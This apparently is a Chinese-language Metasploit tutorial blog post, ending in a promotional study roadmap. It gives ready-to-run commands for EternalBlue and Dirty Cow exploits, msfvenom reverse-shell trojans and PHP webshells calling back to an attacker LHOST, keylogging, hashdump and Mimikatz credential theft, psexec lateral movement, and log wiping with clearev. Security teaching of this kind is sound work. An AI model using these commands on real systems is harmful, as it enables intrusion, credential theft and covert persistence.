1. MSF简介
Metasploit Framework(MSF)是一个开源的渗透测试框架,集成了漏洞利用代码(Exploit)、载荷(Payload)、辅助工具(Auxiliary)和后渗透模块(Post),被广泛应用于安全研究和渗透测试。MSF通过模块化设计,简化了漏洞利用和后渗透操作,帮助测试人员快速验证系统安全性。它是渗透测试领域的核心工具之一,理解其模块和使用流程是学习的关键。
2. MSF模块详解
MSF的强大功能源于其模块化设计,主要模块包括:
Exploit(漏洞利用模块)针对特定漏洞的攻击代码,例如
ms17_010_eternalblue,用于触发目标系统的漏洞。Payload(载荷模块)漏洞利用成功后执行的代码,例如反弹Shell(
reverse_tcp),用于建立与攻击者的连接。Auxiliary(辅助模块)用于信息收集或辅助任务,例如端口扫描(
portscan/tcp)、弱口令测试(ssh_login)。Post(后渗透模块)在获得目标访问权限后的操作,例如权限提升(
getsystem)、数据收集(hashdump)。Encoder(编码器)对Payload进行编码以绕过杀毒软件检测,例如
shikata_ga_nai。NOP(空指令)填充Payload以确保执行稳定性,通常用于缓冲区溢出攻击。
核心要点:Exploit、Payload、Auxiliary和Post是MSF的基础模块,理解其功能和应用场景至关重要。
3. MSF安装与更新方式
安装(以Kali Linux为例)
apt update && apt install metasploit-framework更新
apt update && apt upgrade metasploit-framework或使用旧命令(视版本而定):
msfupdate。
核心要点:保持MSF最新版本可以获取最新的漏洞利用代码和功能修复。
4. 渗透测试攻击步骤
渗透测试是一个系统化的流程,通常包括以下步骤:
信息收集扫描目标的端口、服务版本,识别潜在漏洞。
漏洞发现通过公开漏洞数据库(如Exploit-DB)查找目标系统的已知漏洞。
漏洞利用选择合适的Exploit模块,配置Payload,执行攻击。
后渗透进行权限提升、数据收集和持久化控制。
清理痕迹删除日志和文件,避免被检测。
案例:
目标:Windows Server,开放445端口。
步骤:
使用
auxiliary/scanner/smb/smb_version扫描SMB版本。在Exploit-DB中搜索MS17-010漏洞。
使用
exploit/windows/smb/ms17_010_eternalblue执行攻击。提权并抓取密码哈希。
使用
clearev清除日志。
核心要点:每个步骤依赖前一步的结果,需按顺序执行。
5. 基本命令使用
熟练掌握MSF的基本命令是操作的基础,以下是常用命令:
msfconsole:启动MSF控制台。search <keyword>:搜索模块,例如search ms17-010。use <module>:选择模块,例如use exploit/windows/smb/ms17_010_eternalblue。show options:查看模块配置项。set <option> <value>:设置参数,例如set RHOST 192.168.1.100。exploit或run:执行模块。sessions:查看和管理会话。
案例:
攻击MS17-010:
use exploit/windows/smb/ms17\_010\_eternalblue set RHOST 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse\_tcp set LHOST 192.168.1.7 exploit
核心要点:基本命令是MSF操作的基石,需通过实践熟练掌握。
6. MSF生成木马命令
MSF的msfvenom工具用于生成各种Payload,例如木马程序。
生成Windows木马:
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe监听反弹Shell:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse\_tcp set LHOST 192.168.1.7 set LPORT 4444 exploit
核心要点:木马生成与监听需配合使用,确保LHOST和LPORT参数一致。
7. 公开漏洞利用查找方式
渗透测试人员常使用以下资源查找公开漏洞:
Exploit-DB通过
searchsploit命令搜索漏洞利用代码,例如:searchsploit exchange windows remote。其他资源CVE数据库、GitHub、漏洞公告(如NVD)。
案例:
- 查找MS17-010:
searchsploit ms17-010。
核心要点:公开漏洞是渗透测试的重要依据,需结合多种资源验证。
8. Windows漏洞利用案例
漏洞:MS17-010(EternalBlue),影响Windows SMBv1,可实现远程代码执行。
利用步骤:
use exploit/windows/smb/ms17_010_eternalblueset RHOST 192.168.1.100set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.1.7exploit
案例:
场景:目标为Windows 7,445端口开放。
结果:成功获取Meterpreter会话,可执行后渗透操作。
核心要点:Payload需匹配目标系统架构(如x64)。
9. Linux漏洞利用案例
漏洞:Dirty Cow(CVE-2016-5195),Linux内核提权漏洞。
利用步骤:
已有低权限会话(SESSION 1)。
use exploit/linux/local/dirtycowset SESSION 1exploit
案例:
场景:目标为Ubuntu 16.04,已通过SSH弱口令获得Shell。
结果:成功提权至root。
核心要点:Linux漏洞多用于提权,需先获得初始访问权限。
10. Auxiliaries(辅助模块)
辅助模块用于信息收集和辅助任务,常用模块包括:
端口扫描:
auxiliary/scanner/portscan/tcp- 示例:
set RHOSTS 192.168.1.0/24 && run
- 示例:
SMB版本扫描:
auxiliary/scanner/smb/smb_version- 示例:
set RHOSTS 192.168.1.100 && run
- 示例:
SSH弱口令测试:
auxiliary/scanner/ssh/ssh_login- 示例:
set USERNAME root && set PASSWORD toor && run
- 示例:
案例:
扫描SMB版本:
use auxiliary/scanner/smb/smb\_version set RHOSTS 192.168.1.0/24 run
核心要点:辅助模块是信息收集的关键工具。
11. Post(后渗透攻击)
后渗透模块用于在获得访问权限后执行进一步操作,常用命令包括:
进程迁移:
run post/windows/manage/migrate权限提升:
getsystem键盘记录:
keyscan_start、keyscan_dump屏幕截图:
screengrab抓取密码哈希:
run post/windows/gather/hashdump
案例:
场景:已获得Windows低权限会话。
步骤:
run post/windows/manage/migrate(绑定到svchost.exe)。getsystem(提权)。run post/windows/gather/hashdump(抓取哈希)。
核心要点:后渗透模块用于巩固控制权和收集敏感信息。
12. 进程迁移
渗透进入的Shell通常不稳定,易被用户关闭,因此需要迁移到稳定进程。
命令:
run post/windows/manage/migrate目的:绑定到如
explorer.exe或svchost.exe等系统进程。
案例:
场景:Meterpreter会话绑定在Web服务器进程上,易被重启。
步骤:
run post/windows/manage/migrate PID=1234(PID为稳定进程ID)。
核心要点:进程迁移提高Shell的持久性和隐蔽性。
13. 权限提升
在获得低权限访问后,需提升至管理员或SYSTEM权限。
命令:
getsystem其他方式:利用本地提权漏洞,如
exploit/windows/local/bypassuac。
案例:
场景:已获得普通用户Shell。
步骤:
getsystem或使用提权模块。
核心要点:权限提升是后渗透的关键步骤。
14. 键盘记录与屏幕截图
键盘记录:
keyscan_start(开始记录)、keyscan_dump(查看记录)。屏幕截图:
screengrab
案例:
场景:监控目标用户操作。
步骤:
keyscan_start后等待一段时间,keyscan_dump查看按键记录。
核心要点:用于收集敏感信息,如密码。
15. 抓取密码哈希
命令:
run post/windows/gather/hashdump工具:Mimikatz(需加载
kiwi模块)。
案例:
场景:已提权至SYSTEM。
步骤:
load kiwi、creds_all(列举凭据)。
核心要点:哈希可用于进一步攻击,如传递哈希(Pass-the-Hash)。
16. 文件系统操作
命令:
pwd:当前目录。getwd:本地工作目录。search -f *.txt -d c:\:搜索文件。upload/download:上传/下载文件。
案例:
场景:查找并下载敏感文件。
步骤:
search -f *password*.txt -d c:\users。
核心要点:文件操作是后渗透中收集数据的重要手段。
17. 移植漏洞利用代码模块
MSF支持用户移植外部漏洞利用代码。
步骤:
查找Exploit-DB中的POC。
转换为MSF模块格式。
加载并使用。
案例:
场景:移植自定义漏洞利用代码。
步骤:参考MSF官方文档编写模块。
核心要点:自定义模块扩展MSF功能,适应更多场景。
18. Web后门
Web后门(如Webshell)是常见的持久化控制手段。
生成Webshell:
msfvenom -p php/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f raw > shell.php监听:与木马监听相同。
案例:
场景:上传Webshell到Web服务器。
步骤:上传
shell.php,访问触发,MSF接收会话。
核心要点:Webshell提供对Web服务器的持久访问。
19. 内网攻击与渗透测试过程
内网渗透通常涉及横向移动和域渗透。
命令:
run post/windows/gather/enum_logged_on_users:枚举登录用户。run autoroute:设置路由。use exploit/windows/smb/psexec:横向移动。
案例:
场景:已控制边界服务器,需攻击内网其他主机。
步骤:使用
autoroute设置路由,psexec攻击其他主机。
核心要点:内网渗透需利用已控制主机作为跳板。
20. 后渗透操作命令集合
上传文件:
upload /path/to/file下载文件:
download /path/to/file执行命令:
execute -f cmd.exe查看系统信息:
sysinfo清除日志:
clearev
核心要点:后渗透命令用于维护访问和收集信息。
21. 清理痕迹
命令:
clearev(清除Windows事件日志)其他操作:删除上传的文件、关闭开启的服务等。
案例:
场景:完成渗透测试后清理。
步骤:
clearev、rm /path/to/file。
核心要点:清理痕迹避免被检测,保持隐蔽性。
知识点流程总结
准备阶段安装并更新MSF,启动
msfconsole。信息收集使用Auxiliary模块扫描目标。
漏洞利用选择Exploit模块,配置Payload,执行攻击。
后渗透提权、数据收集、持久化。
清理清除痕迹,避免暴露。
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源